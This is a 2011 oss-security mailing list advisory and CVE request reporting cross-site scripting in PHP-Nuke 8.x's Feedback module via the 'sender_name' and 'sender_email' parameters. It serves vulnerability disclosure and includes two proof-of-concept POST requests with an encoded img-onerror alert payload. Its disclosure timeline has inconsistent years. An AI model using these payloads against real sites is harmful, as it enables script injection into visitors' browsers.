Date: Wed, 23 Mar 2011 23:06:08 +0800 From: YGN Ethical Hacker Group <lists@...g.net> To: oss-security@...ts.openwall.com Subject: CVE Request: PHP-Nuke 8.x <= Cross Site Scripting Vulnerability PHP-Nuke 8.x <= Cross Site Scripting Vulnerability 1. OVERVIEW The PHP-Nuke version 8.x and lower are vulnerable to Cross Site Scrtipting. 2. BACKGROUND PHP-Nuke is a Web Portal System or content management system. The goal of PHP-Nuke is to have an automated web site to distribute news and articles with users system. Each user can submit comments to discuss the articles. Main features include: web based admin, surveys, top page, access stats page with counter, user customizable box, themes manager for registered users, friendly administration GUI with graphic topic manager, option to edit or delete stories, option to delete comments, moderation system, Referrers page to know who link us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more friendly functions. 3. VULNERABILITY DESCRIPTION The "sender_name" and the "sender_email" parameter are not properly sanitized upon submission to the /modules.php?name=Feedback, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 8.0 and lower Tested version: 8.0 The paid versions, 8.1 and 9.0, of PHP-Nuke may be vulnerable as well. 5. PROOF-OF-CONCEPT/EXPLOIT Parameter: sender_name [REQUEST] POST /phpnuke/modules.php?name=Feedback HTTP/1.1 Host: attacker.in Referer: http://attacker.in/phpnuke/modules.php?name=Feedback sender_name=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_email=&message=&opi=ds&submit=Send [/REQUEST] --------------------------------------------------------- Parameter: sender_email [REQUEST] POST /phpnuke/modules.php?name=Feedback HTTP/1.1 Host: attacker.in Referer: http://attacker.in/phpnuke/modules.php?name=Feedback sender_email=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&sender_name=&message=&opi=ds&submit=Send [/REQUEST] 6. SOLUTION Not Available. Use of this product is NOT recommended because of long lack of update and vendor negligence about security reports. 7. VENDOR PHP-Nuke Developers http://phpnuke.org/ 8. CREDIT Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2011-01-01: contacted author through emails 2011-01-25: contacted author through web site contact form 2010-03-23: no replies from author 2010-03-23: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_cross_site_scripting About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke php-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658 CWE-79: http://cwe.mitre.org/data/definitions/79.html #yehg [2010-03-23] keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, xss --------------------------------- Best regards, YGN Ethical Hacker Group Yangon, Myanmar http://yehg.net Our Lab | http://yehg.net/lab Our Directory | http://yehg.net/hwd
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